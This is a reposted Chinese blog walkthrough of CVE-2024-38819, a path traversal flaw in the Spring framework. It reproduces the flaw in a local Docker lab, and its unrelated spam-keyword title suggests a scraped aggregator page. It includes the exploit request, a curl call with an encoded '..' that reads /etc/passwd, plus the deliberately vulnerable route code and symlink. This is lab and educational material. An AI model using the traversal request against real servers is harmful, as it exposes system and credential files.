您的位置:首页 > 财经 > 金融 > 互联网保险销售行为可回溯管理_南宁网站制作专业_电子商务网站_培训机构推荐

互联网保险销售行为可回溯管理_南宁网站制作专业_电子商务网站_培训机构推荐

2025/1/10 11:19:44 来源:https://blog.csdn.net/qq_73861475/article/details/144519864  浏览:    关键词:互联网保险销售行为可回溯管理_南宁网站制作专业_电子商务网站_培训机构推荐
互联网保险销售行为可回溯管理_南宁网站制作专业_电子商务网站_培训机构推荐

操作:

根据CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞搭建复现的靶场环境

拿到环境的源码使用docker搭建

cd vuln

创建容器并启动

 docker build -t cve-2024-38819-poc .docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc

注意在创建的时候有些镜像无法拉取到,可以在Dockerfile文件中修改配置使用其他的镜像

使用命令来验证是否存在漏洞

curl http://localhost:8080/static/link/%2e%2e/etc/passwd

请求成功返回了 /etc/passwd 文件的内容,证明存在该漏洞

该漏洞利用了路径遍历问题,使攻击者能够访问系统中本不应暴露的文件(如 /etc/passwd)。攻击者能够进一步利用该信息来获取其他敏感数据或执行任意代码。

解析:

  1. 设置静态资源路由:创建 PathTraversalDemoApplication.java 文件,使用 RouterFunctionFileSystemResource 设置静态文件路由

    public RouterFunction<ServerResponse> staticResourceRouter() {return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
    }
    

    这段代码创建了一个静态文件资源的路由。当用户访问 /static/** 路径时,系统会从 /app/static/ 目录中提供文件。

  2. 创建符号链接

    RUN ln -s /static /app/static/link
    

    在 Dockerfile 中,ln -s 命令创建了一个符号链接 /static,指向 /app/static/link。这意味着攻击者可以通过访问 /static/link 来尝试获取指向其他系统路径的文件。

  3. 利用路径遍历漏洞: 通过创建符号链接,攻击者可以尝试构造一个路径遍历的恶意 URL。例如:

    /static/link/%2e%2e/etc/passwd
    

    其中,%2e%2e%2e 编码的 ..,代表父目录。攻击者通过这种方式尝试从 /app/static/ 目录“跳出”并访问系统的其他目录(如 /etc/passwd),从而获取系统敏感信息。

 

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com